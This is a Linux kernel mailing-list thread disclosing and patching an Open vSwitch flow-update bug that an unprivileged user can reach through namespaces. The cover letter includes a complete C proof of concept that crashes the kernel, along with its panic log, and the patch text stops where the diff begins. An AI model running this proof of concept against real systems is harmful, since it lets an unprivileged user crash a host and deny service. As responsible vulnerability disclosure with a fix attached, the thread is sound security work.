* [PATCH net 0/1] openvswitch: reject mismatched flow ID updates
@ 2026-07-27 16:52 Ren Wei
2026-07-27 16:52 ` [PATCH net 1/1] net: openvswitch: reject mismatched flow IDs Ren Wei
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-27 16:52 UTC (permalink / raw)
To: netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
joestringer, pshelar, vega, zhilinz, enjou1224z
From: Zhiling Zou <zhilinz@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/openvswitch/datapath.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ovs_flow_cmd_new() allocates the optional reply skb before taking ovs_mutex.
The skb is sized from the identifier in the new request. If the request
carries a UFID, but the UFID lookup misses and the key lookup fallback finds
an existing key-identified flow, the update path replaces that flow's actions
anyway.
When an echoed reply is requested, ovs_flow_cmd_fill_info() serializes the
matched flow's key identifier into an skb sized for the short request UFID.
The fill can return -EMSGSIZE, which then hits BUG_ON(error < 0) in the
update path.
The fix rejects OVS_FLOW_CMD_NEW updates when the duplicate flow was not found
by the same identifier form as the request, keeping UFID-identified and
key-identified flows from being retargeted through the fallback lookup.
Reproducer:
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/openvswitch.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define RX_BUF_SIZE 8192
#define UFID_LEN 1
#define GENEVE_OPT_LEN 252
#define ICMPV6_NS 135
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void die_msg(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(EXIT_FAILURE);
}
static int run_cmd(const char *cmd)
{
int ret = system(cmd);
if (ret != 0) {
fprintf(stderr, "command failed (%d): %s\n", ret, cmd);
exit(EXIT_FAILURE);
}
return ret;
}
static int family_attr_cb(const struct nlattr *attr, void *data)
{
struct nlattr **tb = data;
unsigned int type = mnl_attr_get_type(attr);
if (type <= CTRL_ATTR_MAX)
tb[type] = (struct nlattr *)attr;
return MNL_CB_OK;
}
static int resolve_family_id(struct mnl_socket *nl, const char *family)
{
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
struct genlmsghdr *genl;
struct nlattr *tb[CTRL_ATTR_MAX + 1] = {};
unsigned int seq = 1;
int ret;
nlh = mnl_nlmsg_put_header(buf);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
genl = mnl_nlmsg_put_extra_header(nlh, sizeof(*genl));
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
mnl_attr_put_strz(nlh, CTRL_ATTR_FAMILY_NAME, family);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
die("mnl_socket_sendto(resolve_family_id)");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret < 0)
die("mnl_socket_recvfrom(resolve_family_id)");
nlh = (struct nlmsghdr *)buf;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = mnl_nlmsg_get_payload(nlh);
errno = -err->error;
die("resolve_family_id ack");
}
mnl_attr_parse(nlh, sizeof(*genl), family_attr_cb, tb);
if (!tb[CTRL_ATTR_FAMILY_ID])
die_msg("CTRL_ATTR_FAMILY_ID missing");
return mnl_attr_get_u16(tb[CTRL_ATTR_FAMILY_ID]);
}
static void put_flow_key(struct nlmsghdr *nlh)
{
struct ovs_key_ethernet eth = {
.eth_src = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x01 },
.eth_dst = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x02 },
};
struct ovs_key_ipv6 ipv6 = {
.ipv6_proto = IPPROTO_ICMPV6,
.ipv6_tclass = 0x5a,
.ipv6_hlimit = 64,
.ipv6_frag = OVS_FRAG_TYPE_NONE,
};
struct ovs_key_icmpv6 icmpv6 = {
.icmpv6_type = ICMPV6_NS,
.icmpv6_code = 0,
};
struct ovs_key_nd nd = { 0 };
struct in6_addr tun_src = IN6ADDR_LOOPBACK_INIT;
struct in6_addr tun_dst = {
.s6_addr = {
0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0x42,
},
};
uint8_t geneve_opts[GENEVE_OPT_LEN];
struct nlattr *key;
struct nlattr *tunnel;
uint32_t in_port = OVSP_LOCAL;
__be16 ethertype;
__be64 tun_id;
__be16 tp_src;
__be16 tp_dst;
uint8_t ttl = 64;
uint8_t tos = 0x10;
uint16_t exthdrs = 0;
size_t i;
ipv6.ipv6_src[0] = htonl(0x20010db8);
ipv6.ipv6_src[3] = htonl(1);
ipv6.ipv6_dst[0] = htonl(0x20010db8);
ipv6.ipv6_dst[3] = htonl(2);
ipv6.ipv6_label = htonl(0x12345);
nd.nd_target[0] = htonl(0x20010db8);
nd.nd_target[3] = htonl(0x99);
memcpy(nd.nd_sll, "\x00\x11\x22\x33\x44\x55", ETH_ALEN);
memcpy(nd.nd_tll, "\x66\x77\x88\x99\xaa\xbb", ETH_ALEN);
ethertype = htons(ETH_P_IPV6);
tun_id = htobe64(0x1122334455667788ULL);
tp_src = htons(12345);
tp_dst = htons(6081);
for (i = 0; i < sizeof(geneve_opts); i++)
geneve_opts[i] = (uint8_t)i;
key = mnl_attr_nest_start(nlh, OVS_FLOW_ATTR_KEY);
tunnel = mnl_attr_nest_start(nlh, OVS_KEY_ATTR_TUNNEL);
mnl_attr_put_u64(nlh, OVS_TUNNEL_KEY_ATTR_ID, tun_id);
mnl_attr_put(nlh, OVS_TUNNEL_KEY_ATTR_IPV6_SRC, sizeof(tun_src), &tun_src);
mnl_attr_put(nlh, OVS_TUNNEL_KEY_ATTR_IPV6_DST, sizeof(tun_dst), &tun_dst);
mnl_attr_put_u8(nlh, OVS_TUNNEL_KEY_ATTR_TOS, tos);
mnl_attr_put_u8(nlh, OVS_TUNNEL_KEY_ATTR_TTL, ttl);
mnl_attr_put(nlh, OVS_TUNNEL_KEY_ATTR_TP_SRC, sizeof(tp_src), &tp_src);
mnl_attr_put(nlh, OVS_TUNNEL_KEY_ATTR_TP_DST, sizeof(tp_dst), &tp_dst);
mnl_attr_put(nlh, OVS_TUNNEL_KEY_ATTR_GENEVE_OPTS,
sizeof(geneve_opts), geneve_opts);
mnl_attr_nest_end(nlh, tunnel);
mnl_attr_put_u32(nlh, OVS_KEY_ATTR_IN_PORT, in_port);
mnl_attr_put(nlh, OVS_KEY_ATTR_ETHERNET, sizeof(eth), ð);
mnl_attr_put(nlh, OVS_KEY_ATTR_ETHERTYPE, sizeof(ethertype), ðertype);
mnl_attr_put(nlh, OVS_KEY_ATTR_IPV6, sizeof(ipv6), &ipv6);
mnl_attr_put(nlh, OVS_KEY_ATTR_IPV6_EXTHDRS, sizeof(exthdrs), &exthdrs);
mnl_attr_put(nlh, OVS_KEY_ATTR_ICMPV6, sizeof(icmpv6), &icmpv6);
mnl_attr_put(nlh, OVS_KEY_ATTR_ND, sizeof(nd), &nd);
mnl_attr_nest_end(nlh, key);
}
static void put_empty_actions(struct nlmsghdr *nlh)
{
struct nlattr *actions;
uint32_t out_port = OVSP_LOCAL;
actions = mnl_attr_nest_start(nlh, OVS_FLOW_ATTR_ACTIONS);
mnl_attr_put_u32(nlh, OVS_ACTION_ATTR_OUTPUT, out_port);
mnl_attr_nest_end(nlh, actions);
}
static size_t build_new_flow_msg(char *buf, uint16_t family_id, uint32_t seq,
uint32_t dp_ifindex, bool include_ufid,
uint32_t ufid_flags, uint16_t nlmsg_flags)
{
static const uint8_t ufid[UFID_LEN] = { 0x41 };
struct nlmsghdr *nlh;
struct genlmsghdr *genl;
struct ovs_header *ovs;
nlh = mnl_nlmsg_put_header(buf);
nlh->nlmsg_type = family_id;
nlh->nlmsg_flags = nlmsg_flags;
nlh->nlmsg_seq = seq;
genl = mnl_nlmsg_put_extra_header(nlh, sizeof(*genl));
genl->cmd = OVS_FLOW_CMD_NEW;
genl->version = OVS_FLOW_VERSION;
ovs = mnl_nlmsg_put_extra_header(nlh, sizeof(*ovs));
ovs->dp_ifindex = dp_ifindex;
put_flow_key(nlh);
put_empty_actions(nlh);
if (include_ufid) {
mnl_attr_put(nlh, OVS_FLOW_ATTR_UFID, sizeof(ufid), ufid);
mnl_attr_put_u32(nlh, OVS_FLOW_ATTR_UFID_FLAGS, ufid_flags);
}
return nlh->nlmsg_len;
}
static int recv_for_seq(struct mnl_socket *nl, uint32_t seq)
{
char buf[RX_BUF_SIZE];
for (;;) {
struct nlmsghdr *nlh;
int ret;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret < 0)
return -errno;
for (nlh = (struct nlmsghdr *)buf; mnl_nlmsg_ok(nlh, ret);
nlh = mnl_nlmsg_next(nlh, &ret)) {
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = mnl_nlmsg_get_payload(nlh);
return err->error;
}
if (!(nlh->nlmsg_flags & NLM_F_MULTI))
return 0;
}
}
}
int main(void)
{
static const uint32_t omit_all_flags = OVS_UFID_F_OMIT_KEY |
OVS_UFID_F_OMIT_MASK |
OVS_UFID_F_OMIT_ACTIONS;
char buf[RX_BUF_SIZE];
struct mnl_socket *nl;
uint32_t seq = 10;
uint16_t flow_family;
unsigned int dp_ifindex;
int err;
run_cmd("ovs-dpctl del-dp dp0 >/dev/null 2>&1 || true");
run_cmd("ovs-dpctl add-dp dp0 >/dev/null");
dp_ifindex = if_nametoindex("dp0");
if (!dp_ifindex)
die("if_nametoindex(dp0)");
nl = mnl_socket_open(NETLINK_GENERIC);
if (!nl)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
flow_family = resolve_family_id(nl, OVS_FLOW_FAMILY);
printf("[*] ovs_flow family id: %u\n", flow_family);
printf("[*] datapath ifindex: %u\n", dp_ifindex);
build_new_flow_msg(buf, flow_family, ++seq, dp_ifindex, false, 0,
NLM_F_REQUEST | NLM_F_ACK);
if (mnl_socket_sendto(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len) < 0)
die("send initial key flow");
err = recv_for_seq(nl, seq);
if (err) {
errno = -err;
die("initial key flow failed");
}
printf("[+] inserted initial key-identified flow\n");
printf("[*] sending echoed replacement with nonexistent 1-byte UFID and omit-all UFID flags\n");
fflush(stdout);
build_new_flow_msg(buf, flow_family, ++seq, dp_ifindex, true,
omit_all_flags,
NLM_F_REQUEST | NLM_F_ACK | NLM_F_ECHO);
if (mnl_socket_sendto(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len) < 0)
die("send mismatched UFID replacement");
err = recv_for_seq(nl, seq);
if (err) {
errno = -err;
die("replacement returned error");
}
printf("[-] replacement unexpectedly completed without a crash\n");
mnl_socket_close(nl);
return EXIT_FAILURE;
}
------END poc.c--------
----BEGIN crash log----
[ 274.747363][ T9849] kernel BUG at net/openvswitch/datapath.c:1138!
[ 274.748774][ T9849] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[ 274.749751][ T9849] CPU: 0 UID: 1028 PID: 9849 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 274.750939][ T9849] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 274.752848][ T9849] RIP: 0010:ovs_flow_cmd_new (/home/roxy/linux-block-patch/build/../net/openvswitch/datapath.c:1128 (discriminator 7))
[ 274.753894][ T9849] Code: df 48 89 4c 24 40 e8 fd 72 b2 f7 48 8b 4c 24 40 e9 50 f8 ff ff e8 ee 72 b2 f7 e9 27 f8 ff ff e8 e4 72 b2 f7 e9 04 f9 ff ff 90 <0f> 0b 48 8b 7c 24 20 e8 d2 72 b2 f7 e9 37 f9 ff ff e8 b8 73 b2 f7
All code
========
0: df 48 89 fisttps -0x77(%rax)
3: 4c 24 40 rex.WR and $0x40,%al
6: e8 fd 72 b2 f7 call 0xfffffffff7b27308
b: 48 8b 4c 24 40 mov 0x40(%rsp),%rcx
10: e9 50 f8 ff ff jmp 0xfffffffffffff865
15: e8 ee 72 b2 f7 call 0xfffffffff7b27308
1a: e9 27 f8 ff ff jmp 0xfffffffffffff846
1f: e8 e4 72 b2 f7 call 0xfffffffff7b27308
24: e9 04 f9 ff ff jmp 0xfffffffffffff92d
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 48 8b 7c 24 20 mov 0x20(%rsp),%rdi
31: e8 d2 72 b2 f7 call 0xfffffffff7b27308
36: e9 37 f9 ff ff jmp 0xfffffffffffff972
3b: e8 b8 73 b2 f7 call 0xfffffffff7b273f8
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 48 8b 7c 24 20 mov 0x20(%rsp),%rdi
7: e8 d2 72 b2 f7 call 0xfffffffff7b272de
c: e9 37 f9 ff ff jmp 0xfffffffffffff948
11: e8 b8 73 b2 f7 call 0xfffffffff7b273ce
[ 274.757022][ T9849] RSP: 0018:ffa000001380f458 EFLAGS: 00010286
[ 274.758074][ T9849] RAX: 00000000ffffffa6 RBX: 0000000000000000 RCX: 0000000000000007
[ 274.759378][ T9849] RDX: 0000000000000001 RSI: 0000000000000000 RDI: ff11000076458efc
[ 274.760612][ T9849] RBP: ffa000001380f808 R08: 0000000000000000 R09: ff1100006f14c400
[ 274.761888][ T9849] R10: ff1100010c87572f R11: ff1100010c875603 R12: ff1100010c870200
[ 274.763332][ T9849] R13: ff11000070574330 R14: ff110001125bce40 R15: ff11000076458e40
[ 274.764505][ T9849] FS: 00007f7a21c95780(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 274.765986][ T9849] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 274.767055][ T9849] CR2: 00007ffc17011cc0 CR3: 0000000069884000 CR4: 0000000000751ef0
[ 274.768294][ T9849] PKRU: 55555554
[ 274.768969][ T9849] Call Trace:
[ 274.769398][ T9849] <TASK>
[ 274.769840][ T9849] ? __pfx_ovs_flow_cmd_new (/home/roxy/linux-block-patch/build/../net/openvswitch/datapath.c:1313)
[ 274.770900][ T9849] ? kasan_save_stack (/home/roxy/linux-block-patch/build/../mm/kasan/common.c:57)
[ 274.771723][ T9849] ? __kasan_kmalloc (/home/roxy/linux-block-patch/build/../mm/kasan/common.c:398 /home/roxy/linux-block-patch/build/../mm/kasan/common.c:415)
[ 274.772331][ T9849] ? __kmalloc_noprof (/home/roxy/linux-block-patch/build/../mm/slub.c:2458 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/slub.c:4580 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/slub.c:4898 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/slub.c:5294 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/slub.c:5307 (discriminator 1))
[ 274.773156][ T9849] ? genl_family_rcv_msg_attrs_parse.isra.0 (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:935)
[ 274.774302][ T9849] ? genl_rcv (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1218)
[ 274.775037][ T9849] ? netlink_unicast (/home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1314 /home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1344)
[ 274.775912][ T9849] ? netlink_sendmsg (/home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1875)
[ 274.776707][ T9849] ? __sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:787 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:802 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:2265 (discriminator 2))
[ 274.777553][ T9849] ? __x64_sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2272 /home/roxy/linux-block-patch/build/../net/socket.c:2268 /home/roxy/linux-block-patch/build/../net/socket.c:2268)
[ 274.778570][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.779529][ T9849] ? __nla_parse (/home/roxy/linux-block-patch/build/../lib/nlattr.c:732)
[ 274.780409][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.781320][ T9849] ? genl_family_rcv_msg_attrs_parse.isra.0 (/home/roxy/linux-block-patch/build/../include/net/netlink.h:784 /home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:944)
[ 274.782469][ T9849] genl_family_rcv_msg_doit (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1114)
[ 274.783417][ T9849] ? __pfx_genl_family_rcv_msg_doit (/home/roxy/linux-block-patch/build/../include/net/netlink.h:785 (discriminator 1))
[ 274.784405][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.785313][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.786378][ T9849] ? security_capable (/home/roxy/linux-block-patch/build/../security/security.c:661)
[ 274.787236][ T9849] genl_rcv_msg (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1190 /home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1209)
[ 274.787983][ T9849] ? __pfx_genl_rcv_msg (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1079)
[ 274.788648][ T9849] ? __pfx_ovs_flow_cmd_new (/home/roxy/linux-block-patch/build/../net/openvswitch/datapath.c:1313)
[ 274.789362][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.790095][ T9849] ? __lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4674 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5191)
[ 274.790790][ T9849] netlink_rcv_skb (/home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:2547)
[ 274.791410][ T9849] ? __pfx_genl_rcv_msg (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1079)
[ 274.792085][ T9849] ? __pfx_netlink_rcv_skb (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2717)
[ 274.792820][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.793549][ T9849] ? netlink_deliver_tap (/home/roxy/linux-block-patch/build/../include/linux/rcupdate.h:839 (discriminator 1) /home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:335 (discriminator 1))
[ 274.794264][ T9849] genl_rcv (/home/roxy/linux-block-patch/build/../net/netlink/genetlink.c:1218)
[ 274.794799][ T9849] netlink_unicast (/home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1314 /home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1344)
[ 274.795427][ T9849] ? __pfx_netlink_unicast (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/bitops.h:202 (discriminator 1))
[ 274.796124][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.796895][ T9849] ? __check_object_size (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/page_64.h:44 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/usercopy.c:138 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/usercopy.c:261 (discriminator 1) /home/roxy/linux-block-patch/build/../mm/usercopy.c:223 (discriminator 1))
[ 274.797619][ T9849] netlink_sendmsg (/home/roxy/linux-block-patch/build/../net/netlink/af_netlink.c:1875)
[ 274.798260][ T9849] ? __pfx_netlink_sendmsg (/home/roxy/linux-block-patch/build/../include/net/net_namespace.h:419 (discriminator 7))
[ 274.798974][ T9849] __sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:787 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:802 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:2265 (discriminator 2))
[ 274.799568][ T9849] ? __pfx___sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2219)
[ 274.800259][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.801019][ T9849] ? ksys_write (/home/roxy/linux-block-patch/build/../include/linux/file.h:78 /home/roxy/linux-block-patch/build/../include/linux/file.h:85 /home/roxy/linux-block-patch/build/../fs/read_write.c:731)
[ 274.801634][ T9849] ? __pfx_ksys_write (/home/roxy/linux-block-patch/build/../fs/read_write.c:724)
[ 274.802282][ T9849] __x64_sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2272 /home/roxy/linux-block-patch/build/../net/socket.c:2268 /home/roxy/linux-block-patch/build/../net/socket.c:2268)
[ 274.802908][ T9849] ? do_syscall_64 (/home/roxy/linux-block-patch/build/../include/linux/entry-common.h:177 /home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:89)
[ 274.803630][ T9849] ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[ 274.804584][ T9849] ? lockdep_hardirqs_on (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4472)
[ 274.805365][ T9849] do_syscall_64 (/home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:63 /home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:94)
[ 274.805972][ T9849] ? irqentry_exit (/home/roxy/linux-block-patch/build/../include/linux/irq-entry-common.h:280 /home/roxy/linux-block-patch/build/../include/linux/irq-entry-common.h:325 /home/roxy/linux-block-patch/build/../kernel/entry/common.c:162)
[ 274.806598][ T9849] entry_SYSCALL_64_after_hwframe (/home/roxy/linux-block-patch/build/../arch/x86/entry/entry_64.S:121)
[ 274.807451][ T9849] RIP: 0033:0x7f7a21d27687
[ 274.808255][ T9849] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
0: 48 89 fa mov %rdi,%rdx
3: 4c 89 df mov %r11,%rdi
6: e8 58 b3 00 00 call 0xb363
b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx
11: 59 pop %rcx
12: 5e pop %rsi
13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax
17: 74 1a je 0x33
19: 5b pop %rbx
1a: c3 ret
1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
22: 00
23: 48 8b 44 24 10 mov 0x10(%rsp),%rax
28: 0f 05 syscall
2a:* 5b pop %rbx <-- trapping instruction
2b: c3 ret
2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
33: 83 e2 39 and $0x39,%edx
36: 83 fa 08 cmp $0x8,%edx
39: 75 de jne 0x19
3b: e8 23 ff ff ff call 0xffffffffffffff63
Code starting with the faulting instruction
===========================================
0: 5b pop %rbx
1: c3 ret
2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
9: 83 e2 39 and $0x39,%edx
c: 83 fa 08 cmp $0x8,%edx
f: 75 de jne 0xffffffffffffffef
11: e8 23 ff ff ff call 0xffffffffffffff39
[ 274.811348][ T9849] RSP: 002b:00007ffc17013c90 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 274.812646][ T9849] RAX: ffffffffffffffda RBX: 00007f7a21c95780 RCX: 00007f7a21d27687
[ 274.813862][ T9849] RDX: 000000000000020c RSI: 00007ffc17013d60 RDI: 0000000000000003
[ 274.815079][ T9849] RBP: 00007ffc17015da0 R08: 00007f7a21e90000 R09: 000000000000000c
[ 274.816458][ T9849] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000000b
[ 274.817691][ T9849] R13: 000000000000003c R14: 00007ffc17013d60 R15: 0000000000000000
[ 274.818853][ T9849] </TASK>
[ 274.819339][ T9849] Modules linked in:
[ 274.820208][ T9849] ---[ end trace 0000000000000000 ]---
[ 274.820995][ T9849] RIP: 0010:ovs_flow_cmd_new (/home/roxy/linux-block-patch/build/../net/openvswitch/datapath.c:1128 (discriminator 7))
[ 274.821944][ T9849] Code: df 48 89 4c 24 40 e8 fd 72 b2 f7 48 8b 4c 24 40 e9 50 f8 ff ff e8 ee 72 b2 f7 e9 27 f8 ff ff e8 e4 72 b2 f7 e9 04 f9 ff ff 90 <0f> 0b 48 8b 7c 24 20 e8 d2 72 b2 f7 e9 37 f9 ff ff e8 b8 73 b2 f7
All code
========
0: df 48 89 fisttps -0x77(%rax)
3: 4c 24 40 rex.WR and $0x40,%al
6: e8 fd 72 b2 f7 call 0xfffffffff7b27308
b: 48 8b 4c 24 40 mov 0x40(%rsp),%rcx
10: e9 50 f8 ff ff jmp 0xfffffffffffff865
15: e8 ee 72 b2 f7 call 0xfffffffff7b27308
1a: e9 27 f8 ff ff jmp 0xfffffffffffff846
1f: e8 e4 72 b2 f7 call 0xfffffffff7b27308
24: e9 04 f9 ff ff jmp 0xfffffffffffff92d
29: 90 nop
2a:* 0f 0b ud2 <-- trapping instruction
2c: 48 8b 7c 24 20 mov 0x20(%rsp),%rdi
31: e8 d2 72 b2 f7 call 0xfffffffff7b27308
36: e9 37 f9 ff ff jmp 0xfffffffffffff972
3b: e8 b8 73 b2 f7 call 0xfffffffff7b273f8
Code starting with the faulting instruction
===========================================
0: 0f 0b ud2
2: 48 8b 7c 24 20 mov 0x20(%rsp),%rdi
7: e8 d2 72 b2 f7 call 0xfffffffff7b272de
c: e9 37 f9 ff ff jmp 0xfffffffffffff948
11: e8 b8 73 b2 f7 call 0xfffffffff7b273ce
[ 274.825084][ T9849] RSP: 0018:ffa000001380f458 EFLAGS: 00010286
[ 274.826042][ T9849] RAX: 00000000ffffffa6 RBX: 0000000000000000 RCX: 0000000000000007
[ 274.827098][ T9849] RDX: 0000000000000001 RSI: 0000000000000000 RDI: ff11000076458efc
[ 274.828152][ T9849] RBP: ffa000001380f808 R08: 0000000000000000 R09: ff1100006f14c400
[ 274.829266][ T9849] R10: ff1100010c87572f R11: ff1100010c875603 R12: ff1100010c870200
[ 274.830568][ T9849] R13: ff11000070574330 R14: ff110001125bce40 R15: ff11000076458e40
[ 274.831763][ T9849] FS: 00007f7a21c95780(0000) GS:ff11000184acf000(0000) knlGS:0000000000000000
[ 274.833188][ T9849] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 274.834071][ T9849] CR2: 00007ffc17011cc0 CR3: 0000000069884000 CR4: 0000000000751ef0
[ 274.835073][ T9849] PKRU: 55555554
[ 274.835576][ T9849] Kernel panic - not syncing: Fatal exception
[ 274.836983][ T9849] Kernel Offset: disabled
[ 274.837575][ T9849] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
net: openvswitch: reject mismatched flow IDs
net/openvswitch/datapath.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net 1/1] net: openvswitch: reject mismatched flow IDs
2026-07-27 16:52 [PATCH net 0/1] openvswitch: reject mismatched flow ID updates Ren Wei
@ 2026-07-27 16:52 ` Ren Wei
2026-07-27 19:48 ` Ilya Maximets
0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-27 16:52 UTC (permalink / raw)
To: netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
joestringer, pshelar, vega, zhilinz, enjou1224z
From: Zhiling Zou <zhilinz@nebusec.ai>
ovs_flow_cmd_new() looks for a duplicate flow before deciding whether the
request should insert a new flow or update an existing one. When the new
request carries a UFID, the function first looks up the UFID, but falls
back to a key lookup if the UFID is not found.
That fallback can find a flow which is identified by a different UFID, or
by its key. The update path then replaces that flow's actions even
though the request identified a different flow. If the caller asked for
an echoed notification, the reply skb was already sized from the request
identifier, but ovs_flow_cmd_fill_info() serializes the matched flow's
identifier. A short request UFID can therefore make the fill fail with
-EMSGSIZE and hit the BUG_ON() in the update path.
Track whether the matched flow was found by the same identifier as the
request, and reject updates where the identifier does not match. This
keeps OVS_FLOW_CMD_NEW from retargeting a different flow and avoids
building a reply for an identifier that the skb was not sized for.
Fixes: 74ed7ab9264c ("openvswitch: Add support for unique flow IDs.")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
net/openvswitch/datapath.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
diff --git a/net/openvswitch/datapath.c b/net/openvswitch/datapath.c
index eaf332b156d73..1637420f854d5 100644
--- a/net/openvswitch/datapath.c
+++ b/net/openvswitch/datapath.c
@@ -1010,6 +1010,7 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
u32 ufid_flags = ovs_nla_get_ufid_flags(a[OVS_FLOW_ATTR_UFID_FLAGS]);
int error;
